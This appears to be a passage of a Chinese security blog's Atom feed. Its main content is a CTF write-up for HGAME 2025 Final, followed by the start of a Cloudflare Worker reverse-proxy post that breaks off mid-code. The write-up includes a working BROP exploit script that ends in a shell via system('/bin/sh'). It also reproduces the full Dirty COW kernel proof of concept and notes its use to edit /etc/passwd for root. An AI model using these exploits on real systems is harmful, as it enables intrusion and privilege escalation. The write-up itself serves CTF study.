<code>_IO_list_all</code> 的值来伪造链表和其中的
<code>_IO_FILE</code> 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP
选择的触发方法是调用<code>_IO_flush_all_lockp</code>,这个函数会刷新<code>_IO_list_all</code> 链表中所有项的文件流,相当于对每个
FILE 调用
fflush,也对应着会调用<code>_IO_FILE_plus.vtable</code> 中的<code>_IO_overflow</code>。</summary>
<category term="CTF" scheme="http://summ2.link/categories/CTF/"/>
<category term="pwn" scheme="http://summ2.link/tags/pwn/"/>
<category term="FSOP" scheme="http://summ2.link/tags/FSOP/"/>
<category term="House of Apple" scheme="http://summ2.link/tags/House-of-Apple/"/>
</entry>
<entry>
<title>HGAME 2025 Final 复现</title>
<link href="http://summ2.link/categories/CTF/hgame-2025-final/"/>
<id>http://summ2.link/categories/CTF/hgame-2025-final/</id>
<published>2025-03-19T16:00:00.000Z</published>
<updated>2025-03-19T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="backto2016">Backto2016</h1><blockquote><p>但你必须先向我们证明自己有回到 2016 的实力!</p><p>祝你玩的开心 o ( ̄▽ ̄) ブ</p><p><strong>没有附件是正常的喵</strong></p><p><strong>这个分数或许也考虑了买 hint 这件事, 别害怕嘻嘻</strong></p></blockquote><p>这道题是没有给出附件的,我们需要根据输入和程序的输出获取一切信息。<span id="more"></span></p><p><img src="\2025320-HGAME-2025-Final-复现\image-20250320223509755.png"></p><h2 id="vulnerabilities">Vulnerabilities</h2><p>随便输入一些字符会发现,程序存在<strong>栈溢出</strong>漏洞,出题人很友好地提供了程序崩溃的更多信息(***stack smashing detected ***: terminated)</p><p>存在 <strong>Canary 保护</strong>。</p><p><img src="\2025320-HGAME-2025-Final-复现\image-20250320223905338.png"></p><p>注意到在交互进程结束后,会保持连接,返回一个 PID+1 的新进程,这提示我们程序使用 <code>fork()</code> 实现功能。</p><figure><img src="\2025320-HGAME-2025-Final-复现\image-20250320224713735.png" alt="赛后放出的源码"><figcaption aria-hidden="true">赛后放出的源码</figcaption></figure><p>因此,子进程的 Canary 值不会改变。</p><h2 id="exploit">Exploit</h2><p>从题目的提示可以知道,其实这是类似于 HCTF2016 brop<a href="#fn1" class="footnote-ref" id="fnref1" role="doc-noteref"><sup>1</sup></a> 的一道题目。</p><p>运用的攻击方法叫做 Blind Return Oriented Programming (BROP)<a href="#fn2" class="footnote-ref" id="fnref2" role="doc-noteref"><sup>2</sup></a>。</p><p>BROP 的主要流程:</p><ol type="1"><li><p>绕过 Canary 和 PIE 的保护;</p></li><li><p> 寻找 "stop gadget";</p></li><li><p> 寻找控制寄存器的 gadget;</p></li><li><p>dump memory to get the binary</p></li><li><p> 获得 libc base,然后 get shell</p></li></ol><h3 id="canary-bypass">Canary bypass</h3><p>BROP 首先需要我们绕过 Canary:</p><figure><img src="\2025320-HGAME-2025-Final-复现\image-20250321183913870.png" alt="Stack reading. A single byte on the stack is overwritten with guess X. If the service crashes, the wrong value was guessed."><figcaption aria-hidden="true">Stack reading. A single byte on the stackis overwritten with guess X. If the service crashes, the wrong value wasguessed.</figcaption></figure><h3 id="stop-gadget">Stop gadget</h3><p>Stop gadget 指的是可以将程序挂起的一段 gadget。</p><p>为什么需要 Stop gadget? 如果我们将 Returnaddress 覆盖成随机的数据,那么很大概率会引发段错误。而 Stopgadget 能让程序保持正常运行,在寻找其他 gadget 时起到了区分作用。</p><figure><img src="\2025320-HGAME-2025-Final-复现\image-20250321191706066.png" alt="stop gadget is useful!"><figcaption aria-hidden="true">stop gadget is useful!</figcaption></figure><p>当我们成功找到了一个 gadget,<code>$rsp</code> 进入寄存器,程序进入 <code>$rsp+8<stop_gadget></code>。</p><p>如果还未找到这个 gadget,程序会直接发生段错误。这个作用在下一节会更具体地体现。</p><h3 id="common-gadget">Common gadget</h3><p>在 Ubuntu14.04 中,我们有一个很好的函数<code>__libc_csu_init()</code>,里面存在控制传参寄存器的 gadget,具体请参考<a href="https://www.bookstack.cn/read/CTF-All-In-One/doc-4.7_common_gadget.md">通用gadget</a>。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0x000000000040082a <+90>: 5b pop rbx</span><br><span class="line">0x000000000040082b <+91>: 5d pop rbp</span><br><span class="line">0x000000000040082c <+92>: 41 5c pop r12</span><br><span class="line">0x000000000040082e <+94>: 41 5d pop r13</span><br><span class="line">0x0000000000400830 <+96>: 41 5e pop r14</span><br><span class="line">0x0000000000400832 <+98>: 41 5f pop r15</span><br><span class="line">0x0000000000400834 <+100>: c3 ret</span><br></pre></td></tr></tbody></table></figure><p>所以,我们可以这样布置栈数据:</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">payload = flat({</span><br><span class="line"> offset: [</span><br><span class="line"> canary,</span><br><span class="line"> p64(<span class="number">1</span>),</span><br><span class="line"> p64(pop_gadget),</span><br><span class="line"> p64(<span class="number">0</span>)*<span class="number">6</span>,</span><br><span class="line"> p64(stop_gadget)</span><br><span class="line"> ]</span><br><span class="line"> })</span><br></pre></td></tr></tbody></table></figure><p>但是还存在一个小问题,如果遍历时 <code>pop_gadget</code> 恰好是另一个 stopgadget,程序也不会发生段错误,和执行到真正的 gadget 处结果一样。</p><p>因此,我们还需要进一步验证,它是否我们需要的。</p><p>在这道题中,我找到的 stop gadget 会输出一些固定字符:</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( <span class="string">b"killed by"</span> <span class="keyword">not</span> <span class="keyword">in</span> resp):</span><br><span class="line"> payload = flat({</span><br><span class="line"> offset: [</span><br><span class="line"> canary,</span><br><span class="line"> p64(<span class="number">1</span>),</span><br><span class="line"> p64(pop_gadget)</span><br><span class="line"> ]</span><br><span class="line"> })</span><br><span class="line"> p.sendafter(<span class="string">"password"</span>,payload)</span><br><span class="line"> resp = p.recv()</span><br><span class="line"> resp = p.recv()</span><br><span class="line"> log.success(<span class="string">f"stop_gadget[<span class="subst">{i}</span>] = <span class="subst">{<span class="built_in">hex</span>(stop_gadget)}</span>"</span>)</span><br><span class="line"> log.success(<span class="string">f"pop_gadget[<span class="subst">{i}</span>] = <span class="subst">{<span class="built_in">hex</span>(pop_gadget)}</span>"</span>)</span><br><span class="line"> choose = <span class="built_in">input</span>(<span class="string">"Continue?"</span>)</span><br><span class="line"> <span class="keyword">if</span>(choose==<span class="string">"y"</span> <span class="keyword">or</span> choose==<span class="string">"Y"</span>):<span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></tbody></table></figure><p>观察回显,如果没有输出,那么这大概率是正确的。当然在后续过程中我们可以更确定这个 gadget 是不是真的。</p><h3 id="dump-memory">Dump memory</h3><p>得到需要的 gadget,就可以开始 dump memory 了。</p><p>为了找到 <code>write()</code> 的 plt 地址,可以将 <code>$rdi</code> 赋值 <code>0x400000</code>,即 <code>write(0x400000)</code>,如果地址正确,我们会得到 ELF 头几个固定字符:<code>\x7fELF</code></p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> put_addr += <span class="number">1</span></span><br><span class="line"> payload = flat({</span><br><span class="line"> offset: [</span><br><span class="line"> canary,</span><br><span class="line"> p64(<span class="number">1</span>),</span><br><span class="line"> p64(pop_gadget),</span><br><span class="line"> p64(<span class="number">0x400000</span>),<span class="comment">#pop rdi</span></span><br><span class="line"> p64(put_addr),</span><br><span class="line"> p64(stop_gadget)</span><br><span class="line"> ]</span><br><span class="line"> })</span><br><span class="line"> p.sendafter(<span class="string">"password"</span>,payload)</span><br><span class="line"> <span class="keyword">try</span>: </span><br><span class="line"> resp = p.recv()</span><br><span class="line"> resp = p.recv()</span><br><span class="line"> <span class="keyword">if</span> ( <span class="string">b"\x7fELF"</span> <span class="keyword">in</span> resp):</span><br><span class="line"> log.success(<span class="string">f"put found[<span class="subst">{i}</span>] = <span class="subst">{<span class="built_in">hex</span>(put_addr)}</span>"</span>)</span><br><span class="line"> choose = <span class="built_in">input</span>(<span class="string">"Continue?"</span>)</span><br><span class="line"> <span class="keyword">if</span>(choose==<span class="string">"y"</span> <span class="keyword">or</span> choose==<span class="string">"Y"</span>):<span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">pass</span></span><br></pre></td></tr></tbody></table></figure><p><img src="\2025320-HGAME-2025-Final-复现/image-20250401111921507.png"></p><p>回顾 <code>plt</code> 表的知识,我们知道,已经调用过的函数地址会被保存在<code>.got</code> 段中。</p><h2 id="get-shell">Get shell</h2><p>后续过程就比较简单了,写 ROP 链即可。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">stop_gadget=<span class="number">0x400700</span></span><br><span class="line">pop_gadget=<span class="number">0x400b2a</span>+<span class="number">0x9</span></span><br><span class="line">put_addr = <span class="number">0x400715</span></span><br><span class="line">got_addr = <span class="number">0x602018</span></span><br><span class="line">payload = flat({</span><br><span class="line"> offset: [</span><br><span class="line"> canary,</span><br><span class="line"> p64(<span class="number">1</span>),</span><br><span class="line"> p64(pop_gadget),</span><br><span class="line"> p64(got_addr),<span class="comment">#pop rdi</span></span><br><span class="line"> p64(put_addr),</span><br><span class="line"> ]</span><br><span class="line">})</span><br><span class="line">p.sendafter(<span class="string">"password:\n"</span>,payload)</span><br><span class="line">put_addr = u64(p.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line">log.success(<span class="built_in">hex</span>(put_addr))</span><br><span class="line">libc_base = put_addr - libc.sym[<span class="string">"puts"</span>]</span><br><span class="line">log.success(<span class="built_in">hex</span>(libc_base))</span><br><span class="line">sys_addr = libc_base + libc.sym[<span class="string">"system"</span>]</span><br><span class="line">binsh_addr = libc_base +<span class="built_in">next</span>(libc.search(<span class="string">b"/bin/sh"</span>))</span><br><span class="line"></span><br><span class="line">pause()</span><br><span class="line">payload = flat({</span><br><span class="line"> offset: [</span><br><span class="line"> canary,</span><br><span class="line"> p64(<span class="number">1</span>),</span><br><span class="line"> p64(pop_gadget),</span><br><span class="line"> p64(binsh_addr),<span class="comment">#pop rdi</span></span><br><span class="line"> p64(sys_addr),</span><br><span class="line"> ]</span><br><span class="line">})</span><br><span class="line">p.sendafter(<span class="string">"password:"</span>,payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure><h1 id="backto20162">Backto2016(2)</h1><p>这题赛时并没有做出来(而且靶机跑的很慢,爆破不动),后面看了 wp 了解到这是一个 kernelvulnerability。</p><h2 id="copy-on-write3">Copy On Write<a href="#fn3" class="footnote-ref" id="fnref3" role="doc-noteref"><sup>3</sup></a></h2><blockquote><p><strong>Copy-on-write</strong> (<strong>COW</strong>), also called<strong>implicit sharing</strong>or <strong>shadowing</strong>,is a <a href="https://en.wikipedia.org/wiki/Resource_management_(computing)">resource-management</a>technique used in <a href="https://en.wikipedia.org/wiki/Computer_programming">programming</a>to manage shared data efficiently. Instead of copying data right awaywhen multiple programs use it, the same data is shared between programsuntil one tries to modify it. If no changes are made, no private copy iscreated, saving <a href="https://en.wikipedia.org/wiki/System_resource#General_resources">resources</a>.A copy is only made when needed, ensuring each program has its ownversion when modifications occur. This technique is commonly applied tomemory, files, and data structures.</p></blockquote><p>例如 <code>fork()</code> 创建子进程时,为了节省内存空间和时间开销,使用了写时复制的策略。</p><figure><img src="\2025320-HGAME-2025-Final-复现/image-20250402223714523.png" alt="Take a lot space and time"><figcaption aria-hidden="true">Take a lot space and time</figcaption></figure><figure><img src="\2025320-HGAME-2025-Final-复现/image-20250402224043883.png" alt="Copy-on-write"><figcaption aria-hidden="true">Copy-on-write</figcaption></figure><h2 id="dirty-cow4">Dirty-cow<a href="#fn4" class="footnote-ref" id="fnref4" role="doc-noteref"><sup>4</sup></a></h2><p>通过 <code>mmap()</code> 映射文件到内存,利用写时复制,<code>write</code> 和 <code>madvise()</code> 导致的条件竞争漏洞。</p><p>下面是它的一个 POC,可参见:<a href="https://github.com/dirtycow/dirtycow.github.io">https://github.com/dirtycow/dirtycow.github.io</a></p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">####################### dirtyc0w.c #######################</span></span><br><span class="line"><span class="comment">$ sudo -s</span></span><br><span class="line"><span class="comment"># echo this is not a test > foo</span></span><br><span class="line"><span class="comment"># chmod 0404 foo</span></span><br><span class="line"><span class="comment">$ ls -lah foo</span></span><br><span class="line"><span class="comment">-r-----r-- 1 root root 19 Oct 20 15:23 foo</span></span><br><span class="line"><span class="comment">$ cat foo</span></span><br><span class="line"><span class="comment">this is not a test</span></span><br><span class="line"><span class="comment">$ gcc -pthread dirtyc0w.c -o dirtyc0w</span></span><br><span class="line"><span class="comment">$ ./dirtyc0w foo m00000000000000000</span></span><br><span class="line"><span class="comment">mmap 56123000</span></span><br><span class="line"><span class="comment">madvise 0</span></span><br><span class="line"><span class="comment">procselfmem 1800000000</span></span><br><span class="line"><span class="comment">$ cat foo</span></span><br><span class="line"><span class="comment">m00000000000000000</span></span><br><span class="line"><span class="comment">####################### dirtyc0w.c #######################</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sys/mman.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><fcntl.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><pthread.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sys/stat.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdint.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> *<span class="built_in">map</span>;</span><br><span class="line"><span class="type">int</span> f;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">st</span>;</span></span><br><span class="line"><span class="type">char</span> *name;</span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> *<span class="title function_">madviseThread</span><span class="params">(<span class="type">void</span> *arg)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">char</span> *str;</span><br><span class="line"> str=(<span class="type">char</span>*)arg;</span><br><span class="line"> <span class="type">int</span> i,c=<span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span>(i=<span class="number">0</span>;i<<span class="number">100000000</span>;i++)</span><br><span class="line"> {</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661</span></span><br><span class="line"><span class="comment">> This is achieved by racing the madvise(MADV_DONTNEED) system call</span></span><br><span class="line"><span class="comment">> while having the page of the executable mmapped in memory.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> c+=madvise(<span class="built_in">map</span>,<span class="number">100</span>,MADV_DONTNEED);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"madvise %d\n\n"</span>,c);</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> *<span class="title function_">procselfmemThread</span><span class="params">(<span class="type">void</span> *arg)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">char</span> *str;</span><br><span class="line"> str=(<span class="type">char</span>*)arg;</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16</span></span><br><span class="line"><span class="comment">> The in the wild exploit we are aware of doesn't work on Red Hat</span></span><br><span class="line"><span class="comment">> Enterprise Linux 5 and 6 out of the box because on one side of</span></span><br><span class="line"><span class="comment">> the race it writes to /proc/self/mem, but /proc/self/mem is not</span></span><br><span class="line"><span class="comment">> writable on Red Hat Enterprise Linux 5 and 6.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> <span class="type">int</span> f=open(<span class="string">"/proc/self/mem"</span>,O_RDWR);</span><br><span class="line"> <span class="type">int</span> i,c=<span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span>(i=<span class="number">0</span>;i<<span class="number">100000000</span>;i++) {</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">You have to reset the file pointer to the memory position.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> lseek(f,(<span class="type">uintptr_t</span>) <span class="built_in">map</span>,SEEK_SET);</span><br><span class="line"> c+=write(f,str,<span class="built_in">strlen</span>(str));</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"procselfmem %d\n\n"</span>, c);</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc,<span class="type">char</span> *argv[])</span></span><br><span class="line">{</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">You have to pass two arguments. File and Contents.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> <span class="keyword">if</span> (argc<<span class="number">3</span>) {</span><br><span class="line"> (<span class="type">void</span>)<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"%s\n"</span>,</span><br><span class="line"> <span class="string">"usage: dirtyc0w target_file new_content"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>; }</span><br><span class="line"> <span class="type">pthread_t</span> pth1,pth2;</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">You have to open the file in read only mode.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> f=open(argv[<span class="number">1</span>],O_RDONLY);</span><br><span class="line"> fstat(f,&st);</span><br><span class="line"> name=argv[<span class="number">1</span>];</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">You have to use MAP_PRIVATE for copy-on-write mapping.</span></span><br><span class="line"><span class="comment">> Create a private copy-on-write mapping. Updates to the</span></span><br><span class="line"><span class="comment">> mapping are not visible to other processes mapping the same</span></span><br><span class="line"><span class="comment">> file, and are not carried through to the underlying file. It</span></span><br><span class="line"><span class="comment">> is unspecified whether changes made to the file after the</span></span><br><span class="line"><span class="comment">> mmap() call are visible in the mapped region.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">You have to open with PROT_READ.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> <span class="built_in">map</span>=mmap(<span class="literal">NULL</span>,st.st_size,PROT_READ,MAP_PRIVATE,f,<span class="number">0</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"mmap %zx\n\n"</span>,(<span class="type">uintptr_t</span>) <span class="built_in">map</span>);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">You have to do it on two threads.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> pthread_create(&pth1,<span class="literal">NULL</span>,madviseThread,argv[<span class="number">1</span>]);</span><br><span class="line"> pthread_create(&pth2,<span class="literal">NULL</span>,procselfmemThread,argv[<span class="number">2</span>]);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">You have to wait for the threads to finish.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> pthread_join(pth1,<span class="literal">NULL</span>);</span><br><span class="line"> pthread_join(pth2,<span class="literal">NULL</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>以<code>~/foo</code> 为例,这是一个只读文件:</p><p><img src="\2025320-HGAME-2025-Final-复现/image-20250402225857712.png"></p><p><img src="\2025320-HGAME-2025-Final-复现/image-20250402225927656.png"></p><p>运行 <code>dirtycow</code>:</p><p><img src="\2025320-HGAME-2025-Final-复现/image-20250402230038064.png"></p><p>结果如下:</p><p><img src="\2025320-HGAME-2025-Final-复现/image-20250402230133893.png"></p><p>同理,如果我们修改 <code>/etc/passwd</code>,就可以实现提权。</p><h1 id="references">References</h1><section id="footnotes" class="footnotes footnotes-end-of-document" role="doc-endnotes"><hr><ol><li id="fn1"><p><a href="https://www.bookstack.cn/read/CTF-All-In-One/doc-6.1.1_pwn_hctf2016_brop.md">pwn_hctf2016_brop.md</a><a href="#fnref1" class="footnote-back" role="doc-backlink">↩︎</a></p></li><li id="fn2"><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">bittau-brop.pdf</a><a href="#fnref2" class="footnote-back" role="doc-backlink">↩︎</a></p></li><li id="fn3"><p><a href="https://en.wikipedia.org/wiki/Copy-on-write#cite_note-1">Copy-on-write</a><a href="#fnref3" class="footnote-back" role="doc-backlink">↩︎</a></p></li><li id="fn4"><p><a href="https://blog.csdn.net/hbhgyu/article/details/106245182">DirtyCOW</a><a href="#fnref4" class="footnote-back" role="doc-backlink">↩︎</a></p></li></ol></section>]]></content>
<summary type="html"><h1 id="backto2016">Backto2016</h1>
<blockquote>
<p>但你必须先向我们证明自己有回到 2016 的实力!</p>
<p>祝你玩的开心 o ( ̄▽ ̄) ブ</p>
<p><strong>没有附件是正常的喵</strong></p>
<p><strong>这个分数或许也考虑了买 hint 这件事, 别害怕嘻嘻</strong></p>
</blockquote>
<p>这道题是没有给出附件的,我们需要根据输入和程序的输出获取一切信息。</summary>
<category term="CTF" scheme="http://summ2.link/categories/CTF/"/>
<category term="pwn" scheme="http://summ2.link/tags/pwn/"/>
<category term="hgame" scheme="http://summ2.link/tags/hgame/"/>
<category term="kernel" scheme="http://summ2.link/tags/kernel/"/>
<category term="blind pwn" scheme="http://summ2.link/tags/blind-pwn/"/>
</entry>
<entry>
<title>Cloudflare Worker 反向代理尝试</title>
<link href="http://summ2.link/categories/Web/cloudflare-worker-proxy/"/>
<id>http://summ2.link/categories/Web/cloudflare-worker-proxy/</id>
<published>2025-03-01T16:00:00.000Z</published>
<updated>2025-03-01T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="前言">前言</h1><p>由于友链页面有使用图片的要求,同时为其他人的站点提供相关的图片资源(虽然使用现成的 GitHubPage 就可以基本实现,但是 Page 所在的仓库是公开的),尝试通过 GitHub 作为图床解决这个问题。然而,访问速度和稳定性都无法得到保证,为此通过网上搜索学习了一下反向代理(Reverse Proxy) 的相关知识。</p><span id="more"></span><h1 id="什么事反向代理">什么事反向代理</h1><p>在这之前,先来看看什么是正向代理 <a href="#fn1" class="footnote-ref" id="fnref1" role="doc-noteref"><sup>1</sup></a> (Forward Proxy):</p><p>客户端通过代理服务器去请求服务器的资源。</p><figure><img src="/202532-Cloudflare-Worker-反向代理尝试\1920px-Proxy_concept_en.svg.png" alt="Two computers connected via a proxy server. The first computer says to the proxy server: "ask the second computer what the time is"."><figcaption aria-hidden="true">Two computers connected via a proxyserver. The first computer says to the proxy server: "ask the secondcomputer what the time is".</figcaption></figure><p>使用正向代理需要客户端进行一些设置,即配置代理服务器。</p><p>而反向代理 <a href="#fn2" class="footnote-ref" id="fnref2" role="doc-noteref"><sup>2</sup></a> 是指代理服务器向服务器转交请求,并返回内容给客户端,客户端将其认为是原始服务器。</p><figure><img src="/202532-Cloudflare-Worker-反向代理尝试\2560px-Reverse_proxy_h2g2bob.svg.png" alt="A proxy server connecting the Internet to an internal network."><figcaption aria-hidden="true">A proxy server connecting the Internet toan internal network.</figcaption></figure><h1 id="搭建反向代理服务">搭建反向代理服务</h1><h2 id="创建图床仓库">创建图床仓库</h2><p>在 GitHub 中创建一个仓库,可以选择是否是私密的。</p><p><img src="/202532-Cloudflare-Worker-反向代理尝试\image-20250302175549537.png"></p><p>在 <a href="https://github.com/settings/tokens">Personal AccessTokens (Classic)</a> 处创建一个新的 token,勾选 <code>repo</code>下所有权限。</p><p><img src="/202532-Cloudflare-Worker-反向代理尝试\image-20250302175927347.png"></p><p>过期时间我偷懒选了永不过期,不过这样肯定会导致安全性降低的。生成 token 后放在安全的地方,刷新后就看不见了。</p><h2 id="配置-worker">配置 Worker</h2><p><a href="https://www.cloudflare-cn.com/developer-platform/products/workers/">CloudflareWorkers</a>提供了这样的服务,但是免费使用具有一定的请求限制。在仪表板中添加一个Worker,这里命名为 assets。使用的代码如下:</p><figure class="highlight javascript"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span 